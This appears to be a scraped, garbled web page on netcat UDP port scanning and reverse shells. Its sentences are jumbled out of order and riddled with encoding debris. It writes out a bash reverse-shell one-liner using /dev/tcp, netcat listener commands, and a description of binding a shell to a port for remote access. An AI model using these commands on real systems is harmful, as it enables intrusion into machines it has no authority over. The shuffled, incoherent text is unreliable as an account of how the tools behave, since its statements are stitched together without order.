Leave that there waiting, then fire off your exploit causing the remote machine to start a reverse shell. This method is much more reliable at identifying open ports.ДЄs far as I know, the best way to scan UDP ports is to send an application specific probe packet with tools such as nmap and nessus. Typically, you would just start the listener separately: Open a new terminal and run your nc -l -p 9999. For example, sending a DNS query to port 53 will result in a response, if a DNS server is present. An alternative approach is to send application-specific UDP packets, hoping to generate an application layer response. pwncat is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat. This method is also affected by ICMP rate limiting. If the port unreachable message is blocked, all ports will appear open. However, if a port is blocked by a firewall, this method will falsely report that the port is open. This way we can connect from our computer with a simple netcat command. The most common of all is to open a known port with a tcp socket and bind its stdout/stderr/stdin to a newly forked shell. Most UDP port scanners use this scanning method, and use the absence of a response to infer that a port is open. There are several ways to obtain access to a local shell with a remote connection. However, if a UDP packet is sent to a port that is not open, the system will respond with an ICMP port unreachable message. In UDP, there is no equivalent to a TCP SYN packet. I got similar results with netcat found in the netcat-traditional package.Д«ecause UDP is connectionless in nature, you cannot reliably distinguish an open port from a firewalled port or from a lost packet вЂ“ many false positives can occur from UDP port scans. I have seen that with the netcat-openbsd package, netcat reports that a UDP port is always open even if it is actually closed (at least on Ubuntu). Hmmm, according to netcat, the domain has both UDP ports 53 and 139 open, which is highly unlikely. We can use the following syntax to scan a UDP port using netcat.Д¬onnection to 8.8.8.8 53 port succeeded!Д¬onnection to 53 port succeeded!Д¬onnection to 139 port succeeded! To scan a UDP port with netcat, we need to use the вЂ -uвЂ option. It can bind a shell to a local port to allow remote network access. Nc: connect to port 81 (tcp) timed out: Operation now in progress Receive connection along with a shell from target: Now as we have started listening, itвЂ™s time to execute a basic payload at the target so that we could get a reverse shell. This will start the listener on the port 5555. To wait for a maximum of 5 seconds, use the syntax below. Bash can do arbitrary TCP and UDP connections to wherever you want, so a Netcat similar reverse shell would be: /bin/bash -i >& /dev/tcp/TargetIP/Port 0>&1. Replace the port number 5555 with the port you want to receive the connection on. To specify the maximum timeout, use the вЂ -wвЂ option.

If a port is not open, netcat could take a while to timeout. You can then use netcat to connect to that listener or a different reverse shell from the Target.

Netcat reverse shell with open port